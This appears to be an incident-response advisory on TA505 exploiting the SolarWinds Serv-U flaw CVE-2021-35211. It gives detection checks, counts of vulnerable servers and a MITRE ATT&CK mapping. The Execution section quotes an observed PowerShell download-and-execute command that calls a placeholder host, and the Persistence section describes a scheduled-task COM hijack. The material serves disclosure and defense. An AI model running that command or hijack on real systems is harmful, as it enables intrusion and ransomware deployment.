# TA505 exploits SolarWinds Serv-U vulnerability (CVE-2021-35211) for initial access

research.nccgroup.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access

November 8, 2021

NCC Group's global Cyber Incident Response Team has observed an increase in Clop ransomware victims in the past weeks. The surge can be traced back to a vulnerability in SolarWinds Serv-U that is being abused by the TA505 threat actor. TA505 is a known cybercrime threat actor, who is known for extortion attacks using the Clop ransomware. We believe exploiting such vulnerabilities is a recent initial access technique for TA505, deviating from the actor's usual phishing-based approach.

NCC Group strongly advises updating systems running SolarWinds Serv-U software to the most recent version (at minimum version 15.2.3 HF2) and checking whether exploitation has happened as detailed below.

We are sharing this information as a call to action for organisations using SolarWinds Serv-U software and incident responders currently dealing with Clop ransomware.

## Modus Operandi

### Initial Access

During multiple incident response investigations, NCC Group found that a vulnerable version of SolarWinds Serv-U server appeared to be the initial access used by TA505 to breach its victims' IT infrastructure. The vulnerability being exploited is known as CVE-2021-35211 [1].

SolarWinds published a security advisory [2] detailing the vulnerability in the Serv-U software on July 9, 2021. The advisory mentions that Serv-U Managed File Transfer and Serv-U Secure FTP are affected by the vulnerability. On July 13, 2021, Microsoft published an article [3] on CVE-2021-35211 being abused by a Chinese threat actor referred to as DEV-0322. Here we describe how TA505, a completely different threat actor, is exploiting that vulnerability.

Successful exploitation of the vulnerability, as described by Microsoft [3], causes Serv-U to spawn a subprocess controlled by the adversary. That enables the adversary to run commands and deploy tools for further penetration into the victim's network. Exploitation also causes Serv-U to log an exception, as described in the section below on checks for potential compromise.

### Execution

We observed that Base64 encoded PowerShell commands were logged shortly after the Serv-U exceptions indicating exploitation. The PowerShell commands ultimately led to deployment of a Cobalt Strike Beacon on the system running the vulnerable Serv-U software.

The PowerShell command observed deploying Cobalt Strike was:

```
 powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('hxxp://IP:PORT/a'))
```

### Persistence

On several occasions the threat actor tried to maintain its foothold by hijacking a scheduled task named RegIdleBackup and abusing the COM handler associated with it to execute malicious code, leading to FlawedGrace RAT.

The RegIdleBackup task is a legitimate task that is stored in \Microsoft\Windows\Registry. The task is normally used to regularly backup the registry hives. By default, the CLSID in the COM handler is set to: {CA767AA8-9157-4604-B64B-40747123D5F2}. In all cases where we observed the threat actor abusing the task for persistence, the COM handler was altered to a different CLSID.

CLSID objects are stored in registry in HKLM\SOFTWARE\Classes\CLSID. In our investigations the task included a suspicious CLSID, which subsequently redirected to another CLSID. The second CLSID included three objects containing the FlawedGrace RAT loader. The objects contain Base64 encoded strings that ultimately lead to the executable.

## Checks for potential compromise

### Check for exploitation of Serv-U

NCC Group recommends looking for potentially vulnerable Serv-U FTP-servers in your network and checking these logs for traces of similar exceptions as suggested by the SolarWinds security advisory. It is important to note that the publications by Microsoft and SolarWinds describe follow-up activity regarding a completely different threat actor than we observed in our investigations.

Microsoft's article [3] on CVE-2021-35211 provides guidance on the detection of the abuse of the vulnerability. The first indicator of compromise for the exploitation of this vulnerability are suspicious entries in a Serv-U log file named DebugSocketlog.txt. This log file is usually located in the Serv-U installation folder. Looking at this log file it contains exceptions at the time of exploitation of CVE-2021-35211. NCC Group's analysts encountered the following exceptions during their investigations:

```
EXCEPTION: C0000005; CSUSSHSocket::ProcessReceive();
```

However, as mentioned in Microsoft's article, this exception is not by definition an indicator of successful exploitation and therefore further analysis should be carried out to determine potential compromise.

### Check for suspicious PowerShell commands

Analysts should look for suspicious PowerShell commands being executed close to the date and time of the exceptions. The full content of PowerShell commands is usually recorded in Event ID 4104 in the Windows Event logs.

### Check for RegIdleBackup task abuse

Analysts should look for the RegIdleBackup task with an altered CLSID. Subsequently, the suspicious CLSID should be used to query the registry and check for objects containing Base64 encoded strings. The following PowerShell commands assist in checking for the existence of the hijacked task and suspicious CLSID content:

```
 # Check for altered RegIdleBackup task
Export-ScheduledTask -TaskName "RegIdleBackup" -TaskPath
"\Microsoft\Windows\Registry\" | Select-String -NotMatch "{CA767AA8-9157-
4604-B64B-40747123D5F2}"

 # Check for suspicious CLSID registry key content
Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID{SUSPICIOUS_CLSID}'
```

### Summary of checks

The following steps should be taken to check whether exploitation led to a suspected compromise by TA505:

- Check if your Serv-U version is vulnerable
- Locate the Serv-U's DebugSocketlog.txt
- Search for entries such as 'EXCEPTION: C0000005; CSUSSHSocket::ProcessReceive();' in this log file
- Check for Event ID 4104 in the Windows Event logs surrounding the date/time of the exception and look for suspicious PowerShell commands
- Check for the presence of a hijacked Scheduled Task named RegIdleBackup using the provided PowerShell command
    - In case of abuse: the CLSID in the COM handler should NOT be set to {CA767AA8-9157-4604-B64B-40747123D5F2}
- If the task includes a different CLSID: check the content of the CLSID objects in the registry using the provided PowerShell command, returned Base64 encoded strings can be an indicator of compromise.

## Vulnerability Landscape

There are currently still many vulnerable internet-accessible Serv-U servers online around the world.

In July 2021 after Microsoft published about the exploitation of Serv-U FTP servers by DEV-0322, NCC Group mapped the internet for vulnerable servers to gauge the potential impact of this vulnerability. In July, 5945 (~94%) of all Serv-U (S)FTP services identified on port 22 were potentially vulnerable. In October, three months after SolarWinds released their patch, the number of potentially vulnerable servers is still significant at 2784 (66.5%).

The top countries with potentially vulnerable Serv-U FTP services at the time of writing are:

| Amount | Country |
|---|---|
| **1141** | China |
| **549** | United States |
| **99** | Canada |
| **92** | Russia |
| **88** | Hong Kong |
| **81** | Germany |
| **65** | Austria |
| **61** | France |
| **57** | Italy |
| **50** | Taiwan |
| **36** | Sweden |
| **31** | Spain |
| **30** | Vietnam |
| **29** | Netherlands |
| **28** | South Korea |
| **27** | United Kingdom |
| **26** | India |
| **21** | Ukraine |
| **18** | Brazil |
| **17** | Denmark |

Top vulnerable versions identified:

| Amount | Version |
|---|---|
| **441** | SSH-2.0-Serv-U_15.1.6.25 |
| **236** | SSH-2.0-Serv-U_15.0.0.0 |
| **222** | SSH-2.0-Serv-U_15.0.1.20 |
| **179** | SSH-2.0-Serv-U_15.1.5.10 |
| **175** | SSH-2.0-Serv-U_14.0.1.0 |
| **143** | SSH-2.0-Serv-U_15.1.3.3 |
| **138** | SSH-2.0-Serv-U_15.1.7.162 |
| **102** | SSH-2.0-Serv-U_15.1.1.108 |
| **88** | SSH-2.0-Serv-U_15.1.0.480 |
| **85** | SSH-2.0-Serv-U_15.1.2.189 |

## MITRE ATT&CK mapping

| Tactic | Technique | Procedure |
|---|---|---|
| Initial Access | T1190 – Exploit Public Facing Application(s) | TA505 exploited CVE-2021-35211 to gain remote code execution. |
| Execution | T1059.001 – Command and Scripting Interpreter: PowerShell | TA505 used Base64 encoded PowerShell commands to download and run Cobalt Strike Beacons on target systems. |
| Persistence | T1053.005 – Scheduled Task/Job: Scheduled Task | TA505 hijacked a scheduled task named RegIdleBackup and abused the COM handler associated with it to execute malicious code and gain persistence. |
| Defense Evasion | T1112 – Modify Registry | TA505 altered the registry so that the RegIdleBackup scheduled task executed the FlawedGrace RAT loader, which was stored as Base64 encoded strings in the registry. |

## References

[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35211
[2] https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35211
[3] https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-

actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/